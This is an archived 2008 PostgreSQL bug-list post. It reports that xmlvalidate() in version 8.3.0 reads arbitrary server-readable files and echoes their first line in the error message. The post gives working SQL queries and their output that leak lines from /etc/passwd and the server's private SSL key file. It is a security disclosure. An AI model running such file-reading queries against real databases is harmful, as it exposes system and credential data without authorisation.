bug or not bug, xmlvalidate(xml, text) can read and show one line from file

From: Sergey Burladyan <eshkinkot(at)gmail(dot)com>
To: pgsql-bugs(at)postgresql(dot)org
Subject: bug or not bug, xmlvalidate(xml, text) can read and show one line from file
Date: 2008-02-29 14:57:27
Message-ID: 200802291757.27749.eshkinkot@gmail.com
Views: Raw Message | Whole Thread | Download mbox | Resend email
Thread:
Lists: pgsql-bugs pgsql-hackers

Hi, all

seb=> select version();
version
--------------------------------------------------------------------------------------------------------------------
PostgreSQL 8.3.0 on x86_64-pc-linux-gnu, compiled by GCC
x86_64-pc-linux-gnu-gcc (GCC) 4.1.2 (Gentoo 4.1.2 p1.0.2)

xmlvalidate(xml, text) trying to read from file and if it is not correct -
notice error with first readed line. it is ok and good, but xmlvalidate can
read from _any_ file what DB process can access for read.

for example:

seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '/etc/passwd');
ERROR: could not load DTD
ПОДРОБНО: /etc/passwd:1: parser error : Content error in the external subset
root:x:0:0:root:/root:/bin/bash
^

seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '../data/postmaster.opts');
ERROR: could not load DTD
ПОДРОБНО: ../data/postmaster.opts:1: parser error : Content error in the
external subset
/usr/lib64/postgresql-8.3/bin/postgres -D /var/lib/postgresql/8.3/data --silent-
^

first line from private server ssl key :)

seb=> select xmlvalidate(xml('<a foo="bar">test<b>message in
b</b></a>'), '../data/server.key');
ERROR: could not load DTD
ПОДРОБНО: ../data/server.key:1: parser error : Content error in the external
subset
-----BEGIN RSA PRIVATE KEY-----
^

i don't know is this bug or security issue or not...

Responses

Browse pgsql-bugs by date

  From Date Subject
Next Message Stephen Clark 2008-02-29 15:12:42 BUG #4001: ecpg produces code that won't compile
Previous Message Thomas Poindessous 2008-02-29 11:00:50 BUG #3999: Panic with "invalid string enlargement request size" after a strange request from JDBC

Browse pgsql-hackers by date

  From Date Subject
Next Message Zdenek Kotala 2008-02-29 15:08:05 Re: Why we panic in pglz_decompress
Previous Message Florian G. Pflug 2008-02-29 14:49:13 Re: Read-ahead and parallelism in redo recovery